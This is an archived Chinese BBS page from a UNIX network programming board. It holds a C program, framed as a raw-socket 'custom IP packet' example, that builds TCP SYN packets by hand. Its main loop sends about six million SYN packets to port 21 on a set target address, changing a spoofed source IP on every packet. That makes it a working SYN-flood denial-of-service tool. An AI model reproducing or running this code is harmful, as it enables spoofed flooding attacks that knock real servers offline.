📄 323.htm
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center"> ● UNIX网络编程 (BM: clown) </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="184.htm">上一层</a>][<a href="324.htm">下一篇</a>]
<hr><p align="left"><small>/* <br>
2000.11.13 <br>
自定义发IP包例子(TCP/IP包发送) <br>
给目标主机的端口发送一个 syn请求,注意目标主机的信息会发给发送IP地址的主机 <br>
这说明TCP/IP协议本身有IP期骗的漏洞 <br>
这种方运可以自己写成特殊的基于IP协议上层的自定义协议 <br>
ddxxkk@21cn.com <br>
ddxxkk.myrice.com/ddxxkk.hongnet.com <br>
*/ <br>
// 发送IP 目标IP <br>
char srcip[]="100.100.100.100",dstip[]="192.168.11.118"; <br>
// 发送端IP端口 目标IP端口 <br>
int srcport=99,dstport=21; <br>
#include <stdio.h> <br>
#include <sys/socket.h> <br>
#include <netinet/in.h> <br>
#include <arpa/inet.h> <br>
#include <unistd.h> <br>
#include <netinet/ip.h> //ip <br>
#include <netinet/tcp.h> //tcp <br>
#include <stdlib.h> <br>
//以下是从ip.h和tcp.h取的,但BSD和LINUX用的名称有些不一样主要是TCP不一样 <br>
/* <br>
/* <br>
struct ip <br>
{ <br>
#if __BYTE_ORDER == __LITTLE_ENDIAN <br>
unsigned int ip_hl:4; //little-endian IP头长度(单位为32位 <br>
)4位 <br>
unsigned int ip_v:4; //版本号4 IP4用4 <br>
#endif <br>
#if __BYTE_ORDER == __BIG_ENDIAN <br>
unsigned int ip_v:4; // version <br>
unsigned int ip_hl:4; // header length <br>
#endif <br>
u_int8_t ip_tos; //服务类型 一般为0 <br>
u_short ip_len; //数据总长度 (单位为32位) <br>
u_short ip_id; //标识16 <br>
u_short ip_off; //分段偏移 <br>
#define IP_RF 0x8000 // reserved fragment flag //标志 <br>
#define IP_DF 0x4000 // dont fragment flag <br>
#define IP_MF 0x2000 // more fragments flag <br>
#define IP_OFFMASK 0x1fff // mask for fragmenting bits <br>
u_int8_t ip_ttl; //生存时间 <br>
u_int8_t ip_p; //传输协议 tcp是6 <br>
u_short ip_sum; //头校验和 <br>
struct in_addr ip_src, ip_dst; // 源地址 目标地址 <br>
}; <br>
struct tcphdr <br>
{ <br>
u_int16_t source; // 源端口 <br>
u_int16_t dest; // 目的端口 <br>
tcp_seq seq; // 序号 <br>
tcp_seq ack_seq; // 确认号 收到的TCP信息的序号+1 <br>
#if __BYTE_ORDER == __LITTLE_ENDIAN <br>
u_int16_t res1:4; //保留 <br>
u_int16_t doff:4; //保留 <br>
u_int16_t fin:1; //标志 结束 <br>
u_int16_t syn:1; //标志 同步 <br>
u_int16_t rst:1; //标志 重置 <br>
u_int16_t psh:1; //标志 入栈 <br>
u_int16_t ack:1; //标志 确认 <br>
u_int16_t urg:1; //标志 紧急 <br>
u_int16_t res2:2; <br>
#elif __BYTE_ORDER == __BIG_ENDIAN <br>
u_int16_t doff:4; <br>
u_int16_t res1:4; <br>
u_int16_t res2:2; <br>
u_int16_t urg:1; <br>
u_int16_t ack:1; <br>
u_int16_t psh:1; <br>
u_int16_t rst:1; <br>
u_int16_t syn:1; <br>
u_int16_t fin:1; <br>
#else <br>
#error "Adjust your <bits/endian.h> defines" <br>
#endif <br>
u_int16_t window; //窗口 <br>
u_int16_t check; //校验和 <br>
u_int16_t urg_ptr; //紧急指针 <br>
}; <br>
*/ <br>
//校验和涵数 ip头 <br>
unsigned short csum (unsigned short *packet, int packlen) { <br>
register unsigned long sum = 0; <br>
while (packlen > 1) { <br>
sum+= *(packet++); <br>
packlen-=2; <br>
} <br>
if (packlen > 0) <br>
sum += *(unsigned char *)packet; <br>
while (sum >> 16) <br>
sum = (sum & 0xffff) + (sum >> 16); <br>
return (unsigned short) ~sum; <br>
} <br>
//校验和涵数 tcp头 <br>
unsigned short tcpcsum (unsigned char *iphdr, unsigned short *packet,int pac <br>
klen) { <br>
unsigned short *buf; <br>
unsigned short res; <br>
buf = malloc(packlen+12); <br>
if(buf == NULL) return 0; <br>
memcpy(buf,iphdr+12,8); //源IP地址和目标IP地址 <br>
*(buf+4)=htons((unsigned short)(*(iphdr+9))); <br>
*(buf+5)=htons((unsigned short)packlen); <br>
memcpy(buf+6,packet,packlen); <br>
res = csum(buf,packlen+12); <br>
free(buf); <br>
return res; <br>
} <br>
int main() <br>
{ <br>
{ <br>
int sock, bytes_send, fromlen,n,id,s; <br>
unsigned char buffer[65535]; <br>
struct sockaddr_in toaddr; <br>
struct ip *ip; <br>
struct tcphdr *tcp; <br>
for (n=0;n<60000;n++ ) <br>
{ <br>
buffer[n]=0; <br>
} <br>
//发送地址 <br>
toaddr.sin_family =AF_INET; <br>
// inet_aton("192.168.11.38",&toaddr.sin_addr); //字符串转入地址 <br>
inet_aton(dstip,&toaddr.sin_addr); //字符串转入地址 <br>
//建立原始TCP包方式IP+TCP信息包 <br>
sock = socket(AF_INET, SOCK_RAW,IPPROTO_RAW); //IP方式 <br>
// sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); <br>
if (sock>0) {printf("socket ok\n");} <br>
else {printf ("socket error \n");} <br>
n=1; <br>
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &n, sizeof(n)) < 0) { <br>
printf("2"); <br>
perror("IP_HDRINCL"); <br>
exit(1); <br>
} <br>
ip=(struct ip *)buffer; <br>
ip->ip_id=0x9911; <br>
ip->ip_v=4; <br>
ip->ip_hl=5; <br>
ip->ip_ttl=36; <br>
ip->ip_p=6; //tcp 为6 <br>
ip->ip_len=htons(60); <br>
inet_aton(dstip,&ip->ip_dst); <br>
// inet_aton("192.168.11.38",&ip->ip_dst); <br>
tcp = (struct tcphdr *)(buffer + (4*ip->ip_hl)); <br>
tcp->source=htons(srcport); //源端口 <br>
tcp->dest=htons(dstport); <br>
tcp->seq=htons(0x9990); <br>
tcp->doff=0x15; <br>
tcp->ack_seq=0; <br>
tcp->syn=1; <br>
tcp->window=htons(0x20); <br>
inet_aton(srcip,&ip->ip_src); <br>
for (n=1;n<6000000;n++ ) <br>
{ <br>
ip->ip_src.s_addr=htonl(0x09010101+n); <br>
tcp->check=0x0; <br>
tcp->check=tcpcsum((unsigned char *)buffer, (unsigned short *)tcp,40 <br>
); <br>
ip->ip_sum=0; <br>
ip->ip_sum=csum((unsigned short *)buffer,20); <br>
bytes_send=sendto(sock,buffer,60,0,(struct sockaddr *)&toaddr,sizeof(toa <br>
dd <br>
r)); <br>
} <br>
if (bytes_send>0) <br>
{ <br>
printf("OK bytes_send %d \n",bytes_send); <br>
printf("IP_source address ::: %s \n",inet_ntoa(ip->ip_src)); <br>
printf("IP_dest address ::: %s \n",inet_ntoa(ip->ip_dst)); <br>
} <br>
} <br>
</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="184.htm">上一层</a>][<a href="324.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -